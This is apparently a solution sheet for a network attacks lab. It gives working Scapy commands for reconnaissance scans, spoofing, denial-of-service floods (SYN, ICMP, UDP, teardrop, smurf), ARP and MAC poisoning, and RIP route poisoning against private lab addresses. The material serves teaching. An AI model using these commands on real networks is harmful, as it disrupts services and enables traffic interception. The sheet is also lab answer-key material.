Suggested solutions for the network attacks lab assignments

A) Reconnaissance Phase

IP Address Sweep

packet = IP(dst="192.168.1.0/24") / ICMP() / "1234567890"
5 ms: sr(packet, inter=0.005)
10ms: sr(packet, inter=0.010)
20ms: sr(packet, inter=0.020)
50ms: sr(packet, inter=0.050)

Port scanning

packet = IP(dst="192.168.1.1") / TCP(dport=(1,2000), flags="S")
sr(packet, inter=0.005)
* it is not possible to scan 64000 ports because of the loading of the virtual platform

IP Spoofing

packet = IP(dst="192.168.1.0/24", src="192.168.1.177") / ICMP() / "1234567890"
5 ms: sr(packet, inter=0.005)
10ms: sr(packet, inter=0.010)
20ms: sr(packet, inter=0.020)
50ms: sr(packet, inter=0.050)

FIN and SYN-Flag set

packet = IP(dst="192.168.1.1") / TCP(flags="SF")
sr(packet)

Only FIN-Flag set

packet = IP(dst="192.168.1.1") / TCP(flags="F")
sr(packet)

URG-Flag set

```
packet = IP(dst="192.168.1.1") / TCP(flags="U", dport=139)
send(packet)
```

No Flags set

```
packet = IP(dst="192.168.1.1") / TCP(flags="")
send(packet)
```

B) Denial of Service Phase

SYN Flood

```
packet = IP(dst="192.168.1.1") / TCP(dport=139, flags="S")
send(packet, loop=1, inter=0.005)
```

ICMP Flood

Without spoofed sender address:

```
packet = IP(dst="192.168.1.1") / ICMP() / "1234567890"
send(packet, loop=1, inter=0.005)
```

With spoofed sender address

```
packet = IP(src="192.168.1.117", dst="192.168.1.1") / ICMP() / "1234567890"
send(packet, loop=1, inter=0.005)
```

Drop Communication

```
packet1 = IP(dst="192.168.1.1") / ICMP(type=3, code=1)
packet2 = IP(dst="192.168.1.2") / ICMP(type=3, code=1)
send(packet1)
send(packet2)
```

ICMP Redirect

```
victim = "192.168.1.1"
attacker = "192.168.1.117"
packet = IP(dst=victim) / ICMP(type=5, code=1, gw=attacker)
send(packet)
```

UDP Flood

```
packet = IP(dst="192.168.1.1") / UDP(dport=20) / ("X" * RandByte())
while true:
 send(packet) (NOTE: The line must start with a space [intendation])
```

Land Attack

```
packet = IP(dst="192.168.1.1", src="192.168.1.1") / TCP(sport=139, dport=139, flags="S")
send(packet)
```

Teardrop Attack

```
packet1 = IP(dst="192.168.1.1", flags="MF", id=12) / UDP() / ("X" * 100)
packet2 = IP(dst="192.168.1.1", id=12, frag=2) / UDP() / ("X" * 2)
send(packet1)
send(packet2)
```

Ping of Death

```
packet = IP(dst="192.168.1.1") / ICMP() / ("X" * 65508)
send(packet)
```

Smurf

```
packet = IP(src="192.168.1.1", dst="192.168.1.255") / ICMP() / "1234567890"
send(packet, inter=0.010)
```

C) Man in the Middle-Attacks

ARP Poisoning

```
routerIp = "192.168.1.1"
routerMac = "00:00:00:00:00:01"
victimIp = "192.168.1.17"
victimMac = "00:00:00:00:00:02"
attackerMac = "00:00:00:00:00:03"

packet = ARP(op = 2, hwsrc=attackerMac, psrc=victimIp,
hwdst=routerMac, pdst=routerIp)
send(packet)

packet = ARP(op = 2, hwsrc=attackerMac, psrc=routerIp,
hwdst=victimMac, pdst=victimIp)
send(packet)
```

MAC Flooding

```
packet = ARP(op=2, psrc=RandIP(),  hwsrc=RandMAC(),
pdst=RandIP(), hwdst=RandMAC())
send(packet, loop=1)
```

Port Stealing

```
victimMac = "00:00:00:00:00:02"
attackerMac = "00:00:00:00:00:03"
packet = ARP(op=2, psrc=RandIP(), hwsrc=victimMac, pdst=RandIP(),
hwdst=attackerMac)
send(packet)
```

RIP Poisoning

send (IP(dst="224.0.0.9", ttl=1) / UDP(dport=520, sport=520) / RIP(cmd=2, version=2)/RIPEntry(), inter=30, loop=1)

There are many possibilities how one can propagate wrong rules over network:

a) Using low metric is easy to poison, but infected area is limited
RIPEntry(addr="192.168.62.0", mask="255.255.255.0", metric=1)

b) Using unicast IP messages to send messages directly to routers, will cope that problem, but is not very efficient

c) Using more specific routing entry is a better solution:
RIPEntry(addr="192.168.62.0", mask="255.255.255.128", metric=5)/RIPEntry(addr="192.168.62.128", mask="255.255.255.128", metric=5)

d) One can even delete RIP entries from routing table of a Router by spoofing IP address and sending messages with metric = 15